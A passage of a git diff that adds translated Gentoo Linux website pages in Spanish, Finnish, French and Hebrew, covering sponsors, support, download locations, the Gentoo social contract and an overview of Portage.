+redes multiplataforma incluyendo Linux, MacOS X y Windows.
+</p>
+
+<p>
+Ethernetworks Germany ofreció en el passado el uso de un PowerPC G4
+así como su alojamiento y ancho de banda.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Lumen Software</title>
+<body>
+<fig link="/images/sponsors/lumen.png"
+     linkto="http://www.lumensoftware.com/" short="Lumen Software"/>
+
+<p>
+En Lumen Software usamos Gentoo como distribución base en
+todos nuestros productos de servidor preconfigurados. Los
+productos EzThin Server de Lumen Software son servidores Linux
+que ofrecen una solución completa tanto para la pequeña empresa
+como para la gran compañía. EzThin ofrece aplicaciones
+preinstaladas (software para la productividad, gráficos, etc.),
+escritorios virtuales (con mantenimiento gratuito y sin
+necesidad de un sistema operativo base), acceso remoto,
+gestión centralizada de usuarios y escritorios, actualizaciones
+automáticas y mucho más. El desarrollo de Lumen Software se ha
+enfocado en la creación de un entorno que permita a las
+organizaciones aprovechar los beneficios que ofrece Linux sin
+necesidad de ninguna experiencia o formación. Este enfoque ha
+culminado en las soluciones EzThin Server que ofrecemos hoy en
+día, con alianzas certificadas con Dell y Gateway.
+</p>
+
+<p>
+Lumen Software ofreció fondos en 2004 para el desarrollo de
+nuestra solución de gestión de paquetes Portage.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Tera-Byte.com Inc</title>
+<body>
+
+<p>
+Tera-Byte.com es el servicio de alojamiento web mayor de Canadá,
+ofreciendo servicios como el alojamiento web compartido, servidores
+virtuales y alojamiento de servidores dedicados.
+</p>
+
+<p>
+Tera-Byte.com ofreción un servidor dedicado rsync server que
+formó parte de la rotación de rsync.gentoo.org.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<!-- ====================================================================== -->
+
+<chapter>
+<title>Fuentes y servidores réplica rsync</title>
+<section>
+<body>
+
+<p>
+Gentoo depende en gran medida de una red global de servidores rsync y
+servidores réplica. Sin éstos, tener acceso a los paquetes nuevos,
+actualizaciones del árbol de Portage y a las nuevas versiones de
+Gentoo, sería imposible. Algunos servidores réplica son proporcionados
+por individuos, otros, por compañías. Puede encontrar un listado
+completo en nuestra <uri link="/main/en/mirrors.xml">página de servidores
+réplica de  Gentoo</uri> (en inglés).
+</p>
+
+</body>
+</section>
+</chapter>
+
+<!-- ====================================================================== -->
+
+<chapter>
+<title>Patrocinadores anónimos</title>
+<section>
+<body>
+
+<p>
+Muchas otras empresas y organizaciones proporcionan servicios y
+asistencia al proyecto Gentoo, pero han expresado el deseo de
+permanecer en el anonimato. Deseamos agradecer estos patrocinadores por
+su apoyo a Gentoo.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<!--
+    TODO:
+
+    Present:
+    ========
+    Org: VR.org
+    Contact: ...
+    Boxes: loon.g.o, wren.g.o, magpie.g.o, motmot.g.o, cockatoo.g.o, sparrow.g.o
+    Org: TopIX
+    Contact: ...
+    Boxes: kea.g.o
+    Org: Gossamer
+    Contact: ...
+    Boxes: gannet.g.o, godwit.g.o, grebe.g.o, grouse.g.o
+
+    Past:
+    =====
+    Org: Tavros Technology Services, Inc.
+    Contact: kingtaco
+    Boxes: waxwing.g.o
+    Org: 36m
+    Contact: kengland
+    Boxes: heron.g.o, roadrunner.g.o
+-->
+
+</mainpage>
diff --git a/xml/htdocs/main/es/support.xml b/xml/htdocs/main/es/support.xml
new file mode 100644
index 00000000..4f1022e0
--- /dev/null
+++ b/xml/htdocs/main/es/support.xml
@@ -0,0 +1,112 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/es/support.xml,v 1.3 2007/03/31 17:41:37 yoswink Exp $ -->
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<mainpage lang="es">
+<title>Ayuda de Gentoo Linux</title>
+
+<author title="Autor">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="Editor">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="Traductor">
+  <mail link="trek1s@gmail.com">Francisco Rodera</mail>
+</author>
+
+<abstract>
+Cómo obtener ayuda para Gentoo Linux.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+<license/>
+
+<version>0.4</version>
+<date>2005-04-30</date>
+
+<chapter>
+<title>Ayuda</title>
+<section id="intro">
+<body>
+
+<p>
+Gentoo es una distribución mantenida por voluntarios al igual que lo
+son sus opciones de ayuda. Para nuestros desarrolladores no es
+posible proveer ayuda (remunerada o de cualquier otro tipo) ya que,
+simplemente, no tenemos tiempo ni recursos para ello.
+</p>
+
+<p>
+Sin embargo, si disponemos de una gran comunidad que prueba y ayuda a
+documentar muchos aspectos de la distribución Gentoo. Le aconsejamos
+que dirija sus preguntas directamente a los
+<uri link="http://forums.gentoo.org">Foros de Gentoo</uri>,
+las <uri link="/main/es/lists.xml"> Listas de correo de Gentoo</uri> o
+los <uri link="/main/es/irc.xml">Canales de Chat de Gentoo</uri>.
+Esos son los lugares mas indicados para solicitar ayuda ya que
+representan la mayor parte del conocimiento común sobre Gentoo.
+</p>
+
+<p>
+La mayoría de los desarrolladores de Gentoo visitan dichos canales de
+comunicación de la comunidad y contribuyen en todo lo posible en las
+discusiones activas y preguntas.
+</p>
+</body>
+</section>
+
+<section id="requirements">
+<title>Requerimientos de Hardware</title>
+<body>
+
+<p>
+Los requerimientos de hardware para cada arquitectura se encuentran en
+nuestro <uri link="/doc/es/handbook/index.xml">Manual de Gentoo</uri>.
+</p>
+
+<p>
+Enlaces directos a los requerimientos hardware:
+<uri link="/doc/es/handbook/handbook-alpha.xml?part=1&amp;chap=2#doc_chap1">alpha</uri>,
+<uri link="/doc/es/handbook/handbook-amd64.xml?part=1&amp;chap=2#doc_chap1">amd64</uri>,
+<uri link="/doc/es/handbook/handbook-hppa.xml?part=1&amp;chap=2#doc_chap1">hppa</uri>, 
+<uri link="/doc/es/handbook/handbook-mips.xml?part=1&amp;chap=2#doc_chap1">mips</uri>, 
+<uri link="/doc/es/handbook/handbook-ppc.xml?part=1&amp;chap=2#doc_chap1">ppc</uri>, 
+<uri link="/doc/es/handbook/handbook-ppc64.xml?part=1&amp;chap=2#doc_chap1">ppc64</uri>, 
+<uri link="/doc/es/handbook/handbook-sparc.xml?part=1&amp;chap=2#doc_chap1">sparc</uri>, 
+<uri
+link="/doc/es/handbook/handbook-x86.xml?part=1&amp;chap=2#doc_chap1">x86</uri>
+</p>
+</body>
+</section>
+
+<section id="downloading">
+<title>Descargar Gentoo</title>
+<body>
+
+<p>
+Puede descargar Gentoo de cualquiera de
+nuestros <uri link="/main/en/mirrors.xml">servidores réplica
+(en inglés)</uri>. Los archivos ISO descargables se encuentran dentro
+del directorio de <path>releases/</path>.
+</p>
+
+<p>
+Puede encontrar más información sobre las ISOs y archivos disponibles
+en nuestro <uri link="/doc/es/handbook/index.xml">Manual Gentoo</uri>.
+</p>
+</body>
+</section>
+
+<section id="reporting">
+<title>Informar de errores (Bugs)</title>
+<body>
+
+<p>
+¿Ha encontrado un error? Por
+favor, <uri link="http://bugs.gentoo.org">informe</uri> de él.
+</p>
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/es/where.xml b/xml/htdocs/main/es/where.xml
new file mode 100644
index 00000000..49458d3e
--- /dev/null
+++ b/xml/htdocs/main/es/where.xml
@@ -0,0 +1,198 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/es/where.xml,v 1.20 2010/08/29 15:15:25 nimiux Exp $ -->
+
+<mainpage lang="es">
+<title>Dónde obtener Gentoo Linux</title>
+
+<author title="Autor">
+  <mail link="www@gentoo.org">Equipo WWW Gentoo</mail>
+</author>
+<author title="Traductor">
+  <mail link="trek1s@gmail.com">Francisco Rodera</mail>
+</author>
+<author title="Traductor">
+  <mail link="nimiux"/>
+</author>
+<author title="Traductor">
+  <mail link="chiguire"/>
+</author>
+
+<abstract>
+Cómo obtener Gentoo Linux de Internet
+</abstract>
+
+<!-- El contenido  de este documento esta bajo licencia CC-BY-SA -->
+<!-- Visitar http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.75</version>
+<date>2010-08-28</date>
+
+<chapter>
+<title>Medios de Instalación</title>
+<section>
+<body>
+
+<p>
+Gentoo Linux está disponible de forma libre y gratuita a través de
+Internet. Descargue los archivos iso apropiados de Gentoo Linux
+según arquitectura con los siguientes enlaces.
+</p>
+
+<p>
+Por favor consulte nuestros <uri link="/doc/es/handbook/">Manuales
+Gentoo</uri> para mś información acerca de qué descargar y cómo
+instalar Gentoo.
+</p>
+
+<!-- Sin torrentes para los autobuilds en un futuro cercano. O si
+prefiere BitTorrent puede ver una lista de torrentes disponibles en
+<uri link="http://torrents.gentoo.org">torrents.gentoo.org</uri>.
+-->
+
+<ul>
+  <li>
+    alpha: <uri
+    link="http://distfiles.gentoo.org/releases/alpha/autobuilds/current-iso/">iso</uri>
+    <uri
+    link="http://distfiles.gentoo.org/releases/alpha/autobuilds/current-stage3/">stages</uri>
+  </li>
+  <li>
+    amd64: <uri
+    link="http://distfiles.gentoo.org/releases/amd64/autobuilds/current-iso/">iso</uri>
+    <uri
+    link="http://distfiles.gentoo.org/releases/amd64/autobuilds/current-stage3/">stages</uri>
+  </li>
+  <li>
+    arm: <uri link="http://distfiles.gentoo.org/releases/arm/autobuilds/current-stage3/">stages</uri>
+  </li>
+  <li>
+    hppa: <uri
+    link="http://distfiles.gentoo.org/releases/hppa/autobuilds/current-stage3/">stages</uri>
+  </li>
+  <li>
+    ia64: <uri
+    link="http://distfiles.gentoo.org/releases/ia64/autobuilds/current-iso/">iso</uri>
+    <uri
+    link="http://distfiles.gentoo.org/releases/ia64/autobuilds/current-stage3/">stages</uri>
+  </li>
+  <li>
+    ppc/ppc64: <uri
+    link="http://distfiles.gentoo.org/releases/ppc/autobuilds/current-iso/">iso</uri>
+    <uri
+    link="http://distfiles.gentoo.org/releases/ppc/autobuilds/current-stage3/">stages</uri>
+  </li>
+  <li>
+    s390/s390x: <uri
+    link="http://distfiles.gentoo.org/releases/s390/autobuilds/current-stage3/">stages</uri>
+  </li>
+  <li>
+    sh: <uri
+    link="http://distfiles.gentoo.org/releases/sh/autobuilds/current-stage3/">stages</uri>
+  </li>
+  <li>
+    sparc: <uri
+    link="http://distfiles.gentoo.org/releases/sparc/autobuilds/current-iso/">iso</uri>
+    <uri
+    link="http://distfiles.gentoo.org/releases/sparc/autobuilds/current-stage3/">stages</uri>
+  </li>
+  <li>
+    x86: <uri
+    link="http://distfiles.gentoo.org/releases/x86/autobuilds/current-iso/">iso</uri>
+    <uri
+    link="http://distfiles.gentoo.org/releases/x86/autobuilds/current-stage3/">stages</uri>
+  </li>
+</ul>
+
+<p>
+Si prefiere escoger un servidor espejo local, vea el listado en la
+página de <uri link="mirrors.xml">servidores espejo Gentoo</uri>.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Detalles técnicos</title>
+<section>
+<body>
+
+<p>
+Las descripciones, notas de lanzamiento, planes de acción,
+subproyectos y una lista de los desarrolladores de Gentoo que trabajan
+en los medios de publicación de Gentoo se pueden encontrar en nuestra
+<uri link="/proj/en/releng/">página del Proyecto de Ingeniería de
+Publicación </uri>.
+</p>
+</body>
+</section>
+
+<!-- Autobuild start -->
+
+<section>
+<title>CDs de Instalación Mínimos Semanales de Gentoo y Stages</title>
+<body>
+
+<p>
+Nuestro equipo de Ingeniería de Publicación ofrece nuevos CDs de
+instalación y stages mínimos <e>semanalmente</e>. Puede encontrarlos
+en cualquiera de nuestros servidores réplica en
+<path>/releases/&lt;arch&gt;/current-iso/</path> o
+<path>/releases/&lt;arch&gt;/current-stage3/</path>. No se actualizan
+todas las arquitecturas el mismo día. No se generan imágenes de CD
+para todas las arquitecturas.
+</p>
+
+<p>
+Ya que estas publicaciones son construidas automáticamente por los
+servidores de Ingeniería de Publicación, puede ocurrir que un CD o
+stage no sea producido alguna semana. Cuando esto ocurra, simplemente
+use el último CD o stage disponible. Más publicaciones están
+disponibles en nuestros servidores réplica en
+<path>/releases/&lt;arch&gt;/autobuilds/</path>. Use este directorio
+si no hay nada lo suficientemente reciente en
+<path>current-iso/</path> o en <path>current-stage3/</path>.
+</p>
+</body>
+</section>
+</chapter>
+
+<!-- Autobuild end -->
+
+<chapter>
+<title>Otros medios</title>
+
+<!-- 10.1 START -->
+<section>
+<title>Gentoo 10.1</title>
+<body>
+
+<p>
+<b>LiveDVD (publicado el 10 de octubre de 2009)</b>
+<br/>(hasta 2.6 gigabytes dependiendo de la arquitectura)
+<br/>
+<uri link="http://bouncer.gentoo.org/fetch/gentoo-10.1-livedvd/amd64/">
+amd64</uri>
+<uri link="http://bouncer.gentoo.org/fetch/gentoo-10.1-livedvd/x86/">
+x86</uri>
+</p>
+</body>
+</section>
+
+<!-- 10.1 END -->
+
+<!-- Enlace de proveedores -->
+<section>
+<title>DVDs y CDs Gentoo</title>
+<body>
+
+<p>
+Si no tiene la posibilidad de descargar imágenes de gran tamaño como
+las de DVDs o CDs, entonces tal vez desee adquirir un <uri
+link="stores.xml">DVD o CD Gentoo.</uri>
+</p>
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/fi/contract.xml b/xml/htdocs/main/fi/contract.xml
new file mode 100644
index 00000000..6424229c
--- /dev/null
+++ b/xml/htdocs/main/fi/contract.xml
@@ -0,0 +1,140 @@
+<?xml version='1.0' encoding='utf-8'?>
+
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<mainpage lang="fi">
+<title>Gentoon yhteisösopimus</title>
+
+<author title="Tekijä">
+  Gentoo-projekti
+</author>
+<author title="Toimittaja">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+
+
+<abstract>
+Tämä sopimus kuvaa Gentoon sitoumusta yhteisölle Gentoon asemasta
+vapaana ohjelmistona. Sopimus on Gentoo-projektin lupaus avoimesta
+kehityksestä ja osanotosta vapaiden sovellusten yhteisössä.
+</abstract>
+
+<license/>
+
+<version>1.10</version>
+<date>2006-04-30</date>
+
+<chapter>
+<title>Gentoon yhteisösopimus</title>
+<section>
+<body>
+
+<p>
+Tämän yhteisösopimuksen tarkoituksena on kuvata kehityskäytännöt ja
+standardit, joita Gentoon kehitystiimi käyttää. Osia tästä sopimuksesta on
+johdettu suoraan <uri 
+link="http://www.debian.org/social_contract">Debianin 
+yhteisösopimuksesta</uri>. Se on pääpiirteiltään samanlainen, mutta joitain
+kohtia on jouduttu selventämään ja yhdistämään, sekä turhia kohtia poistamaan.
+Kannanotot ovat tervetulleita englannikielisellä <mail 
+link="gentoo-dev@gentoo.org">gentoo-dev-postituslistalla</mail>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Gentoo</title>
+<body>
+
+<p>
+Gentoo sinänsä on kokoelma vapaata dataa. Data tässä tapauksessa viittaa
+kokoelmaan oppaita ja sovelluksia, jotka liittyvät käyttöjärjestelmiin ja
+niiden osasiin, sekä <uri
+link="http://www.fsf.org/philosophy/free-sw.html">vapaaseen ohjelmistoon</uri>,
+jonka osanottajat ovat Gentoo-projektille tuottaneet.
+</p>
+
+<p>
+Gentoo-käyttöjärjestelmä on tehty yllämainituin periaattein. Gentoo
+käyttöjärjestelmänä täyttää itsenäisen järjestelmän vaatimukset. Toisin
+sanoen käyttöjärjestelmä voidaan rakentaa tyhjästä mainituilla työkaluilla
+ja tiedolla. Jos jokin tuote Gentoo-projektissa ei täytä vaatimuksia, sitä
+ei lasketa osaksi Gentoota käyttöjärjestelmänä.
+</p>
+
+<p>
+Virallinen luettelo Gentoon projekteista löytyy <uri
+link="/proj/en/metastructure/projects.xml">Gentoo Metastructure -sivulta</uri>.
+Gentoo-projektin ei tarvitse olla osa Gentoota käyttöjärjestelmänä ollakseen
+virallinen projekti.
+</p>
+
+</body>
+</section>
+<section>
+<title>Gentoo on ja tulee aina olemaan vapaa ohjelmisto</title>
+<body>
+
+<p>
+Gentoo julkaisee kaikki omat lisäykset Gentooseen vapaana, oli kyse sitten
+ohjelmistosta tai oppaista. Tähän käytetään GNU General Public License
+-lisenssin versiota 2 (tai uudempaa, Gentoo-projektin valinnan mukaan) tai
+Creative Commons—Attribution—Share Alike -lisenssin versiota 2 (tai uudempaa,
+Gentoo-projektin valinnan mukaan). Ulkopuolisilta tulevat lisäykset
+Gentooseen (vapaat lähdekoodit, ohjelmabinäärit, metadata tai oppaat)
+voidaan liittää projektiin lain sallimissa rajoissa. Tällöinkään, Gentoo ei
+tule koskaan <e>riippumaan</e> ei-vapaista sovelluksista tai muusta datasta,
+joka ei ole yhteensopiva GNU General Public License -lisenssin, GNU Lesser
+General Public License -lisenssin, Creative Commons—Attribution—Share Alike
+-lisenssin tai muun <uri link="http://www.opensource.org/licenses/index.html">
+OSI-hyväksytyn lisenssin</uri> (Open Source Initiative) kanssa.
+</p>
+
+<note>
+Gentoo-projekti suunnittelee laajentavansa ylläolevaa vaatimaan, että kaikki
+Gentoon ydinosat tulisi lisensoida OSI:n ja FSF:n (<uri
+link="http://www.gnu.org/">Free Software Foundation</uri>) hyväksymin
+lisenssein.
+</note>
+
+</body>
+</section>
+<section>
+<title>Gentoo-projekti antaa vapaan ohjelmiston yhteisölle</title>
+<body>
+
+<p>
+Gentoo-projekti pyrkii luomaan suhteita muiden vapaan ohjelmiston kehittäjien
+kanssa ja tekemään yhteistyötä kun mahdollista. Gentoo-projekti lähettää
+saamansa viankorjaukset, parannukset, virheraportit yms. ohjelmiston
+alkuperäisille kehittäjille. Kaikki <e>itse</e> tehdyt päivitykset ja
+korjaukset Gentoossa oleviin ulkopuolisiin sovelluksiin merkitään selvästi
+(tähän kuuluvat omat paikkaukset, sed-skriptein tehdyt korjaukset tai muut
+vastaavat). Gentoo-projekti tiedostaa, että korjauksista on suurempaa hyötyä
+muille vapaan ohjelmiston projekteille kun ne on tarkkaan merkitty ja
+selitetty, koska kaikilla ei ole aikaa selvittää varsinaisia merkityksiä
+muutoksissa ja korjauksissa itseissään.
+</p>
+
+</body>
+</section>
+<section>
+<title>Ongelmia ei piiloteta</title>
+<body>
+
+<p>
+Gentoolla tulee aina olemaan julkinen
+<uri link="http://bugs.gentoo.org/">vikatietokanta</uri>. Kaikki ilmoitetut
+viat julkaistaan välittömästi.
+</p>
+
+<p>
+Poikkeukset sallitaan merkittävissä tietoturvaongelmissa tiettyyn rajaan 
+saakka, tai kehittäjienvälisissä kiistoissa, joihin liittyy henkilökohtaista
+yksityisyyssuojattua tietoa, jota ei ole mahdollista julkaista.
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/fr/about.xml b/xml/htdocs/main/fr/about.xml
new file mode 100644
index 00000000..2c8abf3b
--- /dev/null
+++ b/xml/htdocs/main/fr/about.xml
@@ -0,0 +1,127 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/fr/about.xml,v 1.16 2007/10/28 21:19:58 titefleur Exp $ -->
+
+<mainpage lang="fr">
+<title>À propos de Gentoo</title>
+
+<author title="Auteur">
+  <mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author>
+<author title="Correcteur">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="Correcteur">
+  <mail link="peesh@gentoo.org">Jorge Paulo</mail>
+</author>
+<author title="Correcteur">
+  <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="Correcteur">
+  <mail link="fox2mike@gmail.com">Shyam Mani</mail>
+</author>
+<author title="Correcteur">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="Traducteur">
+  <mail link="neysx@gentoo.org">Xavier Neys</mail>
+</author>
+<author title="Traducteur">
+  <mail link="guill.p@gmail.com">Guillaume Pujol</mail>
+</author>
+
+<abstract>
+Une brève présentation de la distribution Gentoo.
+</abstract>
+
+<license/>
+
+<version>1.7</version>
+<date>2007-09-17</date>
+
+<chapter>
+<title>À propos de Gentoo</title>
+<section>
+<body>
+
+<fig link="/images/poster.jpg"/>
+
+</body>
+</section>
+<section>
+<title>Qu'est-ce que Gentoo&nbsp;?</title>
+<body>
+
+<p>
+Gentoo est un système d'exploitation libre basé sur Linux ou FreeBSD, qui peut
+être automatiquement optimisé et configuré pour répondre à tout usage ou besoin
+spécifique. Ses possibilités d'adaptation, ses performances extrêmes et sa
+grande communauté d'utilisateurs et de développeurs sont les principales
+caractéristiques de Gentoo.
+</p>
+
+<p>
+L'outil Portage peut faire de Gentoo un serveur sécurisé idéal, une station de
+développement ou de bureautique professionnelle, une console de jeux, une
+solution embarquée ou autre. Vous décidez de ce que vous voulez en faire. À
+cause de ses multiples possibilités d'adaptation, nous appelons Gentoo une
+<b>méta</b>distribution.
+</p>
+
+<p>
+Bien sûr, Gentoo est plus que les logiciels qu'il fournit. C'est une communauté
+construite autour d'une distribution qui est dirigée par plus de 300
+développeurs et des milliers d'utilisateurs. Le projet de la distribution
+fournit aux utilisateurs les moyens d'apprécier Gentoo&nbsp;: la documentation,
+l'infrastructure (listes de diffusion, site, forums...), gestion des parutions,
+portage de logiciels, assurance qualité, suivi de sécurité, renforcement et plus
+encore.
+</p>
+
+<p>
+Pour conseiller et aider au développement global de Gentoo, un <uri
+link="/proj/en/council/">comité de 7 membres</uri> est élu chaque année qui
+décide des problèmes globaux, des politiques et des avancements dans le projet
+Gentoo.
+</p>
+
+</body>
+</section>
+<section>
+<title>Portage</title>
+<body>
+
+<p>
+L'outil <b>Portage</b>, le cœur de Gentoo, remplit plusieurs fonctions
+essentielles.
+</p>
+
+<p>
+D'une part, Portage est le système de <e>distribution des logiciels</e>. Pour
+mettre à jour la liste des logiciels disponibles dans Gentoo, la simple commande
+<c>emerge --sync</c> suffit. Celle-ci provoque la mise à jour de votre arbre
+Portage via Internet. Cet arbre contient la liste de tous les scripts que
+Portage peut utiliser pour installer les logiciels, parfois aussi appelés
+paquets. Il y a actuellement plus de <uri
+link="http://packages.gentoo.org/categories">10000 paquets</uri> dans notre
+arbre et celui-ci croît de jour en jour.
+</p>
+
+<p>
+D'autre part, Portage est aussi un système de <e>compilation et d'installation
+de paquets</e>. Pour installer un logiciel, il suffit d'entrer la commande
+<c>emerge nom_du_paquet</c> et Portage construit une version sur mesure
+optimisée pour votre matériel en activant les options que vous aurez
+préalablement sélectionnées et <e>sans</e> les options dont vous ne voulez pas.
+</p>
+
+<p>
+Enfin, Portage maintient votre <e>système à jour</e>. La seule commande
+<c>emerge -uD world</c> effectue automatiquement la mise à jour des paquets que
+<e>vous</e> avez sélectionnés.
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/fr/contract.xml b/xml/htdocs/main/fr/contract.xml
new file mode 100644
index 00000000..2e268b31
--- /dev/null
+++ b/xml/htdocs/main/fr/contract.xml
@@ -0,0 +1,156 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/fr/contract.xml,v 1.9 2007/03/16 10:40:44 neysx Exp $ -->
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<mainpage lang="fr">
+<title>Contrat social de Gentoo</title>
+
+<author title="Auteur">
+  Le projet Gentoo
+</author>
+<author title="Correcteur">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="Traducteur">
+  <mail link="neysx@gentoo.org">Xavier Neys</mail>
+</author>
+<author title="Traducteur">
+  <mail link="ribosome@gentoo.org">Olivier Fisette</mail>
+</author>
+
+<abstract>
+Ce document décrit la promesse faite à la communauté Gentoo qui garantit que le
+code de Gentoo, le processus de développemenmt et les informations fournies à
+la communauté du Lociciel Libre resteront ouverts.
+</abstract>
+
+<license/>
+
+<version>1.10</version>
+<date>2006-04-30</date>
+
+<chapter>
+<title>Le contrat social de Gentoo</title>
+<section>
+<body>
+
+<p>
+Ce contrat social vise à décrire de façon claire les politiques et les
+standards de développement globaux de l'équipe des développeurs du Projet
+Gentoo. Certaines parties de ce contrat ont été inspirées par le <uri
+link="http://www.debian.org/social_contract">contrat social de Debian</uri>.
+De façon générale, le présent document est très similaire à cet autre contrat
+social. Toutefois, certaines parties ont été clarifiées et améliorées par
+rapport au contrat social de Debian alors que d'autres, jugées redondantes, ont
+été supprimées. Vos commentaires sont les bienvenus. Envoyez-les par courriel,
+en anglais, à la liste de diffusion <mail>gentoo-dev@gentoo.org</mail>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Qu'est-ce que Gentoo&nbsp;?</title>
+<body>
+
+<p>
+Fondamentalement, Gentoo est une accumulation de savoir libre. Dans ce
+contexte, le savoir est défini comme un ensemble de documents et de
+méta-données reliées aux concepts et aux domaines relatifs aux systèmes
+d'exploitation et à leurs composants, et comme l'ensemble des <uri
+link="http://www.fsf.org/philosophy/free-sw.html">logiciels libres</uri>
+auxquels divers développeurs ont contribué dans le cadre du Projet Gentoo.
+</p>
+
+<p>
+La définition de Gentoo en tant que système d'exploitation découle du concept
+de savoir présenté ci-dessus. Un système d'exploitation Gentoo doit être
+contenu en lui-même (en anglais «&nbsp;self-hosting&nbsp;»). En d'autres
+termes, le système d'exploitation doit être capable de se construire lui-même à
+partir de zéro en utilisant les méta-données et les outils décrits
+précédemment. Si un produit associé à un projet officiel Gentoo ne répond pas à
+cette condition, ledit produit ne se qualifie pas comme système d'exploitation
+Gentoo.
+</p>
+
+<p>
+Une liste officielle des projets Gentoo est consultable sur la page <uri
+link="/proj/en/metastructure/projects.xml">Gentoo Metastructure</uri>. Un
+projet Gentoo n'a pas besoin de produire un système d'exploitation Gentoo pour
+obtenir une reconnaissance officielle.
+</p>
+
+</body>
+</section>
+<section>
+<title>Gentoo est fait et restera fait de logiciels libres</title>
+<body>
+
+<p>
+Les contributions que nous apporterons à Gentoo seront rendues publiques sous
+forme de logiciels, de méta-données et de documentation libres, selon les
+termes de la GNU General Public License, version 2 (ou ultérieure, à notre
+discrétion), ou de la licence Creative Commons - Attribution / Share Alike,
+version 2 (ou ultérieure, à notre discrétion). Toute contribution externe
+(sous forme de sources librement redistribuables, de données binaires, de
+méta-données ou de documentation) peut être incorporée à Gentoo si nous avons
+le droit légal de le faire. Toutefois, Gentoo ne <e>dépendra</e> jamais de
+méta-données ou de logiciels qui ne puissent être utilisés selon les termes de
+la GNU General Public License, de la GNU Lesser General Public License, de la
+licence Creative Commons - Attribution/Share Alike ou d'une autre licence
+approuvée par l'Open Source Initiative (<uri
+link="http://www.opensource.org/licenses/index.html">OSI</uri>).
+</p>
+
+<note>
+Nous envisageons la possibilité d'étendre la clause ci-dessus afin d'exiger que
+tous les composants centraux de Gentoo soient utilisables selon les termes
+d'une licence qui soit approuvée à la fois par l'Open Source Initiative
+<e>et</e> la Free Software Foundation (<uri
+link="http://www.gnu.org/">FSF</uri>).
+</note>
+
+</body>
+</section>
+<section>
+<title>En retour, nous contribuerons à la communauté du logiciel libre</title>
+<body>
+
+<p>
+Nous établirons des liens avec les auteurs de logiciels libres et collaborerons
+avec eux lorsque possible. Nous transmettrons nos correctifs pour les bogues,
+nos améliorations, les requêtes de nos utilisateurs, etc., en
+«&nbsp;amont&nbsp;», c'est-à-dire aux auteurs des logiciels inclus dans notre
+système. De plus, nous documenterons clairement <e>nos propres</e>
+contributions à Gentoo, ainsi que tous les changements ou améliorations
+apportés aux sources externes utilisées par Gentoo (sous forme de correctifs,
+d'«&nbsp;astuces sed&nbsp;» ou autres). Nous
+reconnaissons que nos améliorations et autres modifications auront un impact
+plus important sur la communauté du logiciel libre si elles sont clairement
+expliquées et documentées, puisque tout le monde n'a pas le temps ou les
+connaissances nécessaires pour comprendre ces changements au niveau litéral
+(soit le contenu des correctifs et autres astuces).
+</p>
+
+</body>
+</section>
+<section>
+<title>Nous ne cacherons pas les problèmes</title>
+<body>
+
+<p>
+Notre <uri link="http://bugs.gentoo.org/">base de données de rapports de
+bogues</uri> sera accessible au public en tout temps&nbsp;; les rapports
+remplis en ligne par les utilisateurs seront immédiatement consultables par
+tous.
+</p>
+
+<p>
+Des exceptions seront faites à cette règle lorsque nous serons avisés d'un
+problème relatif à la sécurité ou aux relations entre les développeurs si l'on
+nous demande de ne pas publier le rapport avant une date donnée.
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/he/about.xml b/xml/htdocs/main/he/about.xml
new file mode 100644
index 00000000..47dcd875
--- /dev/null
+++ b/xml/htdocs/main/he/about.xml
@@ -0,0 +1,95 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/he/about.xml,v 1.2 2007/03/16 10:40:44 neysx Exp $ -->
+
+<mainpage lang="he">
+<title>About Gentoo</title>
+<author title="Author">
+  <mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author>
+<author title="Editor">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="Editor">
+  <mail link="peesh@gentoo.org">Jorge Paulo</mail>
+</author>
+<author title="Editor">
+  <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="Editor">
+  <mail link="fox2mike@gmail.com">Shyam Mani</mail>
+</author>
+<author title="Editor">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+
+<abstract>
+אודות ג'נטו, מבט כללי.
+</abstract>
+
